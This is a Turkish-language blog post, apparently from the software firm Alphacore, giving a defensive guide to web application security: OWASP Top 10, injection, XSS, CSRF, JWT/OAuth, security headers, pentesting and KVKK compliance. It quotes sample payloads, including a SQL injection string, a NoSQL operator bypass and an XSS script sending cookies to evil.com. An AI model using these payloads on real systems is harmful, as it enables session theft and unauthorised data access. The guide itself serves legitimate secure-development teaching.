Tarih: 8 Ocak 2026
Kategori: Güvenlik
Okuma: 9 dk
OWASP Top 10'dan kimlik doğrulamaya, güvenlik başlıklarından KVKK uyumluluğuna kadar yazılım projelerinizi koruma altına almanın pratik rehberi.
Kısa Özet
Yazılım güvenliği, OWASP Top 10 tehditlerinden KVKK uyumluluğuna kadar geniş bir alanı kapsar. SQL injection, XSS, CSRF gibi yaygın saldırılara karşı savunma yöntemlerini, JWT/OAuth ile kimlik doğrulama pratiklerini ve güvenlik kültürü oluşturma adımlarını bu rehberde bulabilirsiniz.
Güvenlik, yazılım projelerinde genellikle "sonra hallederiz" denen konuların başında gelir. Ürün çıkacak, müşteri bekliyor, deadline yaklaşıyor. Güvenlik testi sonraya kalır. Ta ki bir gün müşteri veritabanınızın internette satıldığını öğrenene kadar. 2025 yılında Türkiye'de yaşanan büyük veri ihlalleri, güvenliğin lüks değil zorunluluk olduğunu bir kez daha gösterdi. Bu yazıda yazılım projelerinizde uygulamanız gereken temel güvenlik önlemlerini pratik bir şekilde ele alıyoruz.
OWASP (Open Web Application Seçurity Project), web uygulama güvenliğinin referans noktasıdır. OWASP Top 10 listesi, en yaygın ve en tehlikeli web güvenlik açıklarını sıralar. Her yazılım geliştiricinin bu listeyi bilmesi gerekir.
OWASP listesinin birinci sırasındadır ve en yaygın güvenlik açığıdır. Kullanıcıların yetkisi olmayan kaynaklara erişebilmesidir. Örneğin, bir kullanıcı URL'deki ID'yi değiştirerek başka bir kullanıcının profilini görebiliyorsa, erişim kontrolü kırılmış demektir. /api/orders/123 endpoint'ine istek atan kullanıcının gerçekten sipariş 123'ün sahibi olup olmadığı her zaman kontrol edilmelidir.
Çözüm: Her API endpoint'inde ve her veritabanı sorgusunda yetkilendirme kontrolü yapın. "Bu kullanıcı bu kaynağa erişebilir mi?" sorusunu her istek için sorun. Frontend'deki kontrollere güvenmeyin; backend'de mutlaka doğrulama yapın. API geliştirme rehberimizde güvenlik prensiplerini daha detaylı ele alıyoruz.
SQL Injection: Kullanıcıdan gelen verinin doğrudan SQL sorgusuna eklenmesiyle oluşur. Klasik örnek: giriş formunda kullanıcı adı yerine ' OR 1=1 -- yazmak. Bu basit payload, kötü yazılmış bir sistemde tüm kullanıcı verilerine erişim sağlayabilir.
Çözüm: Parametreli sorgular (prepared statements) kullanın. ORM kullanıyorsanız bile, raw query yazdığınız her yerde parametreleri bind edin. Kullanıcı girdisini asla doğrudan SQL'e eklemeyin. Node.js'te db.query('SELECT * FROM users WHERE id = $1', [userId]) şeklinde parametreli sorgu kullanmak SQL injection'ı kökten engeller.
NoSQL Injection: MongoDB gibi NoSQL veritabanlarında da injection mümkündür. JSON tabanlı sorgularda kullanıcı girdisi operatör olarak yorumlanabilir. {"username": {"$gt": ""}, "password": {"$gt": ""}} gibi bir payload tüm kayıtları döndürebilir.
XSS, saldırganın web sayfasına zararlı JavaScript kodu enjekte etmesidir. Üç türü vardır:
<script>document.location='https://evil.com/steal?c='+document.cookie</script> kodu, sayfayı ziyaret eden herkesin çerezini çalabilir.Korunma yöntemleri:
dangerouslySetInnerHTML (React) veya v-html (Vue) gibi özellikleri kullanırken dikkatli olun; bu noktalar XSS'e açık kapı bırakır.CSRF, kullanıcının tarayıcısını kandırarak yetkili işlemler yaptırma saldırısıdır. Kullanıcı bankasına giriş yapmış durumdayken, zararlı bir web sitesi kullanıcının tarayıcısı üzerinden bankaya para transferi isteği gönderebilir. Tarayıcı otomatik olarak çerezleri ekler, banka isteğin gerçek kullanıcıdan geldiğini sanır.
Korunma yöntemleri:
SameSite=Strict veya SameSite=Lax özelliği eklemek, farklı site'lerden gelen isteklerde çerezlerin gönderilmesini engeller. Modern tarayıcılarda varsayılan olarak SameSite=Lax uygulanır.X-Requested-With gibi özel header'lar zorunlu tutulabilir. Tarayıcılar cross-origin isteklerde bu header'ları otomatik eklemez.JWT, kullanıcı kimliğini doğrulamak için yaygın olarak kullanılan token tabanlı bir yöntemdir. Kullanıcı giriş yaptığında sunucu bir JWT oluşturur ve istemciye gönderir. Sonraki isteklerde bu token header'da gönderilir.
JWT güvenliğinde dikkat edilmesi gerekenler:
httpOnly ve seçure flag'li çerezlerde saklayın. localStorage'da saklamak XSS saldırılarına karşı savunmasızdır.HS256 yerine RS256 tercih edin; özellikle mikroservis mimarilerinde asimetrik imzalama daha güvenlidir.OAuth 2.0, üçüncü parti uygulamalara sınırlı erişim vermek için tasarlanmış bir yetkilendirme protokolüdür. "Google ile giriş yap" veya "GitHub ile giriş yap" gibi özellikler OAuth üzerine kuruludur. OAuth'un farklı grant type'ları (Authorization Code, Client Credentials, PKCE) farklı senaryolar için uygundur. Web uygulamaları için Authorization Code with PKCE güncel en iyi pratiktir.
Kullanıcıdan gelen her veri potansiyel olarak zararlıdır. Güvenli bir uygulama, gelen her veriyi doğrular ve temizler:
HTTPS, client ile sunucu arasındaki tüm trafiği şifreler. 2026'da HTTP üzerinden herhangi bir uygulama sunmak kabul edilemez. Let's Encrypt ile ücretsiz SSL sertifikası alabilirsiniz. Tüm HTTP trafiğini HTTPS'e yönlendirin.
HTTP güvenlik başlıkları, tarayıcının uygulamanızla nasıl etkileşim kuracağını kontrol eder. Temel güvenlik başlıkları:
Strict-Transport-Seçurity (HSTS): Tarayıcıya yalnızca HTTPS üzerinden bağlanmasını söyler. max-age=63072000; includeSubDomains değeri ile 2 yıl boyunca tüm alt domainler dahil HTTPS zorunlu olur.Content-Seçurity-Policy (CSP): Sayfada çalıştırılabilecek kaynakları sınırlar. XSS'e karşı en güçlü savunma hattıdır.X-Content-Type-Options: nosniff: Tarayıcının MIME type tahmin etmesini engeller.X-Frame-Options: DENY: Sayfanın iframe içinde gösterilmesini engeller, clickjacking saldırısını önler.Referrer-Policy: strict-origin-when-cross-origin: Referrer bilgisinin sızmasını kontrol eder.Permissions-Policy: Kamera, mikrofon, geolocation gibi tarayıcı özelliklerine erişimi kontrol eder.Modern yazılım projelerinde kodun büyük kısmı üçüncü parti kütüphanelerden gelir. Bir Node.js projesinde yüzlerce npm paketi bulunabilir ve bu paketlerin herhangi birinde bir güvenlik açığı tüm sistemi riske atar.
npm audit veya yarn audit komutlarını CI/CD pipeline'ına ekleyin. Bilinen güvenlik açığı olan bağımlılıkları tespit edin.package-lock.json, yarn.lock) daima commit edin. Bu, build'ler arasında bağımlılık tutarlılığını sağlar.Penetrasyon testi (pentest), sisteminizin güvenliğini saldırgan perspektifinden test etmektir. Manuel veya otomatize araçlarla yapılabilir:
Otomatize Araçlar: OWASP ZAP (ücretsiz ve açık kaynak) veya Burp Suite (profesyonel) ile web uygulamalarını tarayabilirsiniz. Bu araçlar bilinen güvenlik açıklarını otomatik olarak tespit eder. CI/CD pipeline'ına entegre edilebilir; her deploy öncesi otomatik güvenlik taraması yapılabilir.
Manuel Pentest: Otomatize araçlar her şeyi yakalayamaz. İş mantığı açıkları (business logic flaws), yetkilendirme bypass'ları ve karmaşık saldırı zincirleri manuel test gerektirir. Yılda en az bir kez profesyonel bir pentest şirketinden güvenlik değerlendirmesi yaptırmak tavsiye edilir.
Pentest süreci genellikle şu adımlardan oluşur: keşif (reconnaissance), tarama (scanning), erişim elde etme (gaining access), erişimi sürdürme (maintaining access) ve raporlama. Raporlama aşamasında bulunan açıklar kritiklik seviyelerine göre sınıflandırılır ve düzeltme önerileri sunulur.
Türkiye'de kişisel verilerin korunması KVKK (6698 sayılı Kişisel Verilerin Korunması Kanunu) ile düzenlenmektedir. Yazılım projeleri açısından KVKK uyumluluğu hem teknik hem de hukuki boyutlara sahiptir. Danışmanlık hizmetlerimiz kapsamında KVKK uyum süreçlerinde destek sunuyoruz:
Güvenlik sadece araçlar ve teknik önlemlerle sağlanmaz. Ekibinizde bir güvenlik kültürü oluşturmanız gerekir:
Güvenlik bir özellik değil, bir süreçtir. Bir kez yapıp bırakılacak bir iş değildir. Her sprint'te, her deploy'da, her code review'da güvenlik göz önünde bulundurulmalıdır.
Alphacore olarak güvenliği geliştirme sürecinin her aşamasına entegre ediyoruz. Projelerimizde OWASP standartlarına uygun kod geliştiriyor, otomatik güvenlik taramaları uyguluyoruz ve düzenli pentest değerlendirmeleri yapıyoruz. KVKK uyumluluğu konusunda da müşterilerimize teknik danışmanlık sunuyor, kişisel veri işleme süreçlerinin mevzuata uygun şekilde tasarlanmasını sağlıyoruz. Güvenlik sonradan eklenen bir katman değil, temelden inşa edilen bir yapı olmalıdır.
Alphacore Yazılım Ekibi
İstanbul merkezli Alphacore Yazılım, siber güvenlik ve güvenli yazılım geliştirme konusunda uzman mühendis kadrosuyla hizmet vermektedir. OWASP standartlarına uygun geliştirme, penetrasyon testi ve KVKK danışmanlığı sunuyoruz. İletişime geçin
Projenizin güvenlik değerlendirmesi veya güvenli yazılım geliştirme için uzman ekibimizle iletişime geçin.
Bize Ulaşın